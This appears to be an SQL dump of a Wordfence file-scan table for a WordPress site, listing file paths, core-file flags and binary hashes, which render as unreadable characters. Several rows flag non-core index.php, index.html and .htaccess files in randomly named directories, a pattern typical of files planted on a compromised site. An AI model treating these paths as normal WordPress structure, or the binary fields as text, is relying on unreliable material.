('Aػ#\"j','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jzbF[\r','5STi	K842\rYA5=4Y','',0,'?'),
('A<!W.L-','wp-includes/Requests/src/Autoload.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[Ss@301rd','܏<Bh=8MI-^:3<2','',0,'?'),
('A$h՝`Qa','wp-content/plugins/akismet/index.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']㡉7e',' <%㆏\nzfcVB#<~Gk','',0,'?'),
('B^tpk!','wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R*LTG4%P','-nFJ&TPo\\ϓ\\2','',0,'?'),
('B\'Og\\ؑ*ҙTx','wp-content/themes/twentytwentyfive/assets/images/ruins-image.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/ruins-image.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R]$X','!5<\Z:XZ.Rvv','',0,'?'),
('B711=6;+\'','wp-includes/css/dist/list-reusable-blocks/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/list-reusable-blocks/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('BCKwO8I','wp-content/themes/twentytwentyfour/parts/header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','俠~\":','[CVs+Y}+RwY','',0,'?'),
('BFL.ԱB?','wp-content/themes/twentytwentytwo/inc/patterns/general-divider-dark.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-divider-dark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l8AwڥK[','Ⱦa|*ƈlg6 knEmi','',0,'?'),
('BJOzD','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/config.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/config.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{1MRKE_/','|qUUѿÎ|zG>*ۜ\"I;','',0,'?'),
('BUjv\\ѣ(','wp-content/plugins/wordfence/views/common/license.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/license.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6Q@ӀmKo\Z?4\\+','2ub}\0yz7O\rh.','',0,'?'),
('B_-Th+`äR','wp-content/themes/twentynineteen/sass/variables-site/_colors.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	Nx\\\rv/','tGք2\ZF]aYJbp','',0,'?'),
('Bs塘TL=','wp-includes/blocks/calendar/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ϛQOJB-','z)#6j1LTG[r,','',0,'?'),
('Bj)qDS','wp-admin/install-helper.php','/home/trevorkl/trevorklee.com/wp-admin/install-helper.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t%v-ܴ','f3sL,tʇwO7O4ɵ>','',0,'?'),
('Bx		~','wp-content/themes/twentytwentythree/patterns/call-to-action.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/call-to-action.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5\0򛃗INי','ٶld٤5@t/R\"m\n͔h','',0,'?'),
('Bu8$h9','wp-includes/sitemaps/nsrytze/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('BϵH@x/','wp-content/plugins/wordfence/waf/pomo/po.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/pomo/po.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B[!wHȱV\nIl\0',' YoDu/L[FjQR','',0,'?'),
('BkP','wp-includes/SimplePie/src/Content/Type/Sniffer.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/Type/Sniffer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BW5\0{\r',' LS+OU0<%;r#ta:;L@;','',0,'?'),
('B\r?oS','wp-includes/html-api/knojvbd/lyuifac/index.html','/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('B ?W௛','wp-includes/SimplePie/library/SimplePie/File.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xZ||\0Z`c','1ŪPǢ]=fHb\\?cŐ+t','',0,'?'),
('Bȡ|P|\nf','wp-content/themes/twentytwentyfour/patterns/text-project-details.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/text-project-details.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"3Hk8mE','E>A\'ۋI97o','',0,'?'),
('BPXW6','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int64.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int64.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m9N2ų[','=*tzv\'W\nKRlx7','',0,'?'),
('C)|D/>E','wp-content/themes/twentytwentyfour/assets/images/building-exterior.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/building-exterior.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','* Q\"KLG','tJt\0uIbD|wō)i~`5','',0,'?'),
('C4Ȝ-f!-','wp-content/themes/twentytwenty/assets/images/2020-landscape-1.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-landscape-1.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n=⎼tNR','@moܛMbrђ$ z\r2K=','',0,'?'),
('CEvZ>IAʐm`','wp-content/themes/twentytwentytwo/templates/search.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/search.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p21%','g.hLٲ􉒄Ք\0tu@','',0,'?'),
('CFi!|k3#ƱP','wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Tm\n%1','y<o?_	,Fҳ J','',0,'?'),
('CKJ6LAMkV','wp-includes/blocks/post-date.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-date.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<%L^a|(','w;l[%s2#>ྟ05v','',0,'?'),
('CY?O@d¢̲','wp-includes/Text/icatnpe/yrpuihc/index.html','/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('C_v5=dB\0)','wp-includes/css/dist/preferences/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?^qyy[H',',=n縠N\"ZƷ;\"ذq','',0,'?'),
('CciFh.n7','wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ժC!`g$	','pD>7a%Ze6è>Y}:`','',0,'?'),
('CW!dao','wp-content/plugins/loginizer/main/settings/checksum.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/settings/checksum.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"9B^,%[x','9c\\i)\'1Ho*]¡IŨI)F','',0,'?'),
('CIS7<','wp-content/plugins/wordfence/modules/login-security/views/page/page.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vT/\0\'JsN','7i:;\rB5&ftq','',0,'?'),
('Cms\nX]KT','wp-includes/blocks/search/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ؙ\nR$|f','@rP7d˼*yeW߂/%rrq','',0,'?'),
('C/@lY2}','wp-includes/css/dist/format-library/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K4:^\"@j','M/ay,[At*쒱r+S','',0,'?'),
('CؚTR!vF{','wp-includes/customize/class-wp-customize-nav-menu-item-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m#mI:ċh','O=\rfnn[V=oANmۺ','',0,'?'),
('C!y6㋼','wp-includes/blocks/buttons/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/buttons/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&/&&ݣ4h','K}?,GQYCA\\ I$1','',0,'?'),
('C	M<o','wp-includes/blocks/post-author/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('Cs\\\ns\'m','wp-content/plugins/wordfence/lib/menu_tools_whois.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_whois.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','$lҠI}.PH	','I]מ@gf-]a{@\\^','',0,'?'),
('D\'%S6>{','wp-includes/js/dist/customize-widgets.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/customize-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƁQŤ#O','߽1E\'ʟvE]n:jd','',0,'?'),
('D	(,|b?L','wp-includes/blocks/query-pagination-numbers/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e*l:\\w','w9C1\'$IN+3ں$s','',0,'?'),
('Dm\nzHS','wp-includes/images/crystal/document.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/document.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'^csD3T\\','gt( Ŏk`5͒JM5:j','',0,'?'),
('D#q{ťԇb','wp-includes/css/dist/customize-widgets/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/customize-widgets/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ejsV~Zm#','%o3n+z&Azuq\ZJv','',0,'?'),
('D.:\0SR8','wp-includes/ID3/module.audio-video.asf.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio-video.asf.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A0XwUt1fq','	nWp:Up*@ZzX$}lD','',0,'?'),
('D6mer{pKO','wp-includes/locale.php','/home/trevorkl/trevorklee.com/wp-includes/locale.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ʋ\04)oybU^','<6n\'J_	S%GVJ','',0,'?'),
('D=nvbP._','wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-custom-colors.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/classes/class-twenty-twenty-one-custom-colors.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\3]&aieS','|[+E1\0T雷)Y','',0,'?'),
('DC1:<','wp-content/themes/twentytwentyfive/assets/images/northern-buttercups-flowers.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/northern-buttercups-flowers.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oE!VR','tה}X6:Vd2dEO2','',0,'?'),
('DQ#unU\\ @<','wp-includes/blocks/page-list/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2밈LvV\n','.R7U	1H+\'C Nqܰmb','',0,'?'),
('DU}<޴D5Y','wp-includes/block-editor.php','/home/trevorkl/trevorklee.com/wp-includes/block-editor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6^C2,R2_','2+vZHٵc}ÒU=','',0,'?'),
('D\\7@;^|','wp-includes/class-wp-navigation-fallback.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-navigation-fallback.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fy%wP@','`k8dlA[{^+(','',0,'?'),
('D`aO\"Y%7Z','wp-includes/blocks/comments-pagination/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TDN\0-','ZKkgq9ys%L1','',0,'?'),
('D`q&2','wp-content/themes/twentytwentyone/assets/sass/06-components/single.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/single.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']H9\0$a','cf}uh&','',0,'?'),
('Dmo\"a','wp-includes/blocks/gallery/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ދl>nqyW','ɹa߿Kۘn͓+nb','',0,'?'),
('DrkJNƨ','wp-content/themes/twentytwentyfour/assets/images/abstract-geometric-art.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/images/abstract-geometric-art.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=0>qkdU','xrߦڔՏa,n? hu7KI,','',0,'?'),
('DxÇJ5\n','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7G>ܤr','#=j[KY\\Kp<VOq','',0,'?'),
('D{l̷\\ʂ0u','wp-includes/blocks/post-author-biography/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('D)bak{','wp-admin/includes/admin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4=ҩA','0V{]֊Aj˫.%2\ZxM5z o ','',0,'?'),
('Dչ$Oa','wp-admin/css/colors/ectoplasm/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ectoplasm/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RSP','eDCIاFXky`0I$','',0,'?'),
('Do^~m9y','wp-content/themes/twentytwentytwo/style.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\eOǜs<	','EC?cyB4O<\nZэE','',0,'?'),
('Dr`(67<L1','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidOpenidIdentifierException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidOpenidIdentifierException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3)G\'8ot','z:&yUxCMXT|jݶo','',0,'?'),
('D	QfN	4','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/LICENSE.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/LICENSE.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JԵ/Mz<wu','dh~hĥW9&((O\r0^1F) ~N','',0,'?'),
('DHN,','wp-content/themes/twentytwentytwo/assets/images/divider-black.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/divider-black.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8w	xm)r','x+RlL\Zk5>vưND','',0,'?'),
('D#虞*b','wp-includes/class-wp-block-parser-block.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-parser-block.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q\ZJ*o2','Ϝ\r\rD YgԘ','',0,'?'),
('D5\n\'\\~W','wp-includes/category.php','/home/trevorkl/trevorklee.com/wp-includes/category.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}Vr\". e','pW\" z9MOy+{S7sF','',0,'?'),
('D]@q*aI9U%','wp-content/themes/twentytwentytwo/inc/patterns/general-subscribe.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-subscribe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7ꏨM2&V|F&','+	nx&4S:3E','',0,'?'),
('E\"1fg','wp-includes/js/tinymce/plugins/wpgallery/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpgallery/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('E4D\'BI_#s','wp-includes/blocks/tag-cloud/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H(ܽS','3&G)%ːHIjb`em','',0,'?'),
('E#-v376Ť','wp-content/plugins/wordfence/wordfence.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/wordfence.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N3onC\"','ϚKo`TB⪯hGHh=','',0,'?'),
('E4fu\r#R:k!jgh','wp-includes/js/wp-list-revisions.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-list-revisions.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}\Zۦ_8K',']\ro8Y6)ryW?Ybz(','',0,'?'),
('E5uj]0pQ3','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[	Fk/N(N6)','YnȂ%\'b:+V2H','',0,'?'),
('E5;tR$L','wp-includes/js/dist/element.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/element.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6fz͈d/','\'H\"J}{2\nӤf~JF','',0,'?'),
('EKD\nXrLGd	','wp-includes/block-supports/states.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/states.php',0,'\nF\06iڱz','\nF\06iڱz','ųD?GJt\nʎlVZna','',0,'?'),
('Eh@aq','wp-includes/session.php','/home/trevorkl/trevorklee.com/wp-includes/session.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NRM<\\>','}k+8MU=<;tI*,4#','',0,'?'),
('Evm1U~AHj','wp-admin/js/password-toggle.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/password-toggle.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\"»V','nߗ\"q{KuKZK\r1^','',0,'?'),
('E(zRA1;eNqD3','wp-content/plugins/wordfence/index.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2eª\\og',' oMJ#A|ߎ(;6R\n','',0,'?'),
('ERva%ҳi','wp-includes/blocks/post-content/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('EՍ$x#& u','wp-includes/blocks/term-count/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-count/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#1IǶ_ADd','6U{\\ 4EoT_x̹B]~[@R','',0,'?'),
('E}~M-]a','wp-admin/css/widgets.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/widgets.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>>[6','9.HwI\'9Z I4v=7ik1','',0,'?'),
('Es=]=a','wp-includes/blocks/post-template/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r[q\'qf','8Ml}7o.\r`R9}','',0,'?'),
('E+Nݢ\"xRoY','wp-content/plugins/wordfence/views/scanner/text/issue-wfUpgrade.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-wfUpgrade.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9ሖ#`l','6m})B <ln%>','',0,'?'),
('Enjd1','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Regular.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Regular.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yvil27k.','\0{v4+9o&1 G3<*Ca','',0,'?'),
('E;=4]L[O','wp-content/themes/twentytwentyfour/templates/single-with-sidebar.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/single-with-sidebar.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','իc\r*jH','NjZví!*p\nE{+,yU','',0,'?'),
('EV,%,SM=','wp-admin/ms-edit.php','/home/trevorkl/trevorklee.com/wp-admin/ms-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P3\n7|L?MtA','acsc\Z\"VL\\њ','',0,'?'),
('EG5e','wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/index.php',0,'M; XBg>.','M; XBg>.','Y2g!Û>NΎ+.ʨ5Y\r','',0,'?'),
('FHȝle#','wp-includes/js/tinymce/skins/wordpress/images/more-2x.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/more-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l,r%^x%','Y=_b|ʧ&f,<','',0,'?'),
('F\rxw~\rܱ\n','wp-includes/widgets/class-wp-widget-search.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-search.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IS4&kD',' iu6#IB3fA\\\n<WPAA','',0,'?'),
('F*_CY~52','wp-content/plugins/loginizer/main/login-providers.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/login-providers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RK42&r','ԂwFKzLOK?Z4=Sk]','',0,'?'),
('F1+\Z#+d{w{','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.D6pir`fw=','2KJ73x2M2&+LL','',0,'?'),
('FCW.3\ZU','wp-includes/js/jquery/ui/checkboxradio.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/checkboxradio.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ރx>.&m','ju,+Z \"MzЃ>v0','',0,'?'),
('FH30m:s','wp-includes/js/tinymce/skins/wordpress/images/dashicon-edit.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/dashicon-edit.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xR	YXݤ','m\Zcĭ][^Pw','',0,'?'),
('F`M߸cN!','wp-includes/blocks/image/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#茺0L','=sB=2qJ/R	G5','',0,'?'),
('FtH6`yېֿ`[','wp-includes/blocks/button.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/button.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%K?K[','wY[0(yoAnZ\\7FǳPBv@','',0,'?'),
('F}3(̬OI ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/separator/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j;ʻ#qb','m7wW&emC1ac	=27','',0,'?'),
('F\\C?Z','wp-includes/css/customize-preview-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/customize-preview-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','މګd3','~\'[z{:LĀN7A	','',0,'?'),
('FtBƏWV&u','wp-content/themes/twentytwentyfour/patterns/hidden-404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5|dS[','Y$rm1l(l벁ܧFʀȌ','',0,'?'),
('FÃ\\Ofg','wp-includes/js/tinymce/skins/wordpress/images/gallery-2x.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/gallery-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1vR','N3G\'`+R>P]Eγg/b?UX','',0,'?'),
('F|@J\rRԣ','wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php',0,'\0(C>~-','\0(C>~-','Ї;60>=\rnER>','',0,'?'),
('F\'B/4{J{w','wp-admin/js/edit-comments.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/edit-comments.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xr١','lɏNg(tQdP@fCU','',0,'?'),
('F?C;$H\r\r','wp-admin/css/color-picker.css','/home/trevorkl/trevorklee.com/wp-admin/css/color-picker.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h&rZ\"M','Mf\\>\ZT`+X5','',0,'?'),
('FVOd%|u','wp-content/plugins/wordfence/images/wordfence-logo.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wordfence-logo.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]j-','8#̄(8O\"	+h\"Fb','',0,'?'),
('F~4\0','wp-content/plugins/loginizer/lib/hybridauth/Data/Parser.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Data/Parser.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ꃃ)wy9','o,\"n}9WLeG\nWr8<\0','',0,'?'),
('F0O9M2[ү','wp-content/plugins/loginizer/lib/hybridauth/Data/Collection.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Data/Collection.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\Xvdn','א#;^ް:N	ֹE/$:','',0,'?'),
('G\0iaPHz9\09S','wp-includes/blocks/loginout/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/loginout/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S	:ז_bM','yT5m ZV#!:Z','',0,'?'),
('G;,Ah1','wp-content/themes/twentytwentyfive/styles/02-noon.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/02-noon.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','05+8+kZ;g','v$nE]\Zg%4.M','',0,'?'),
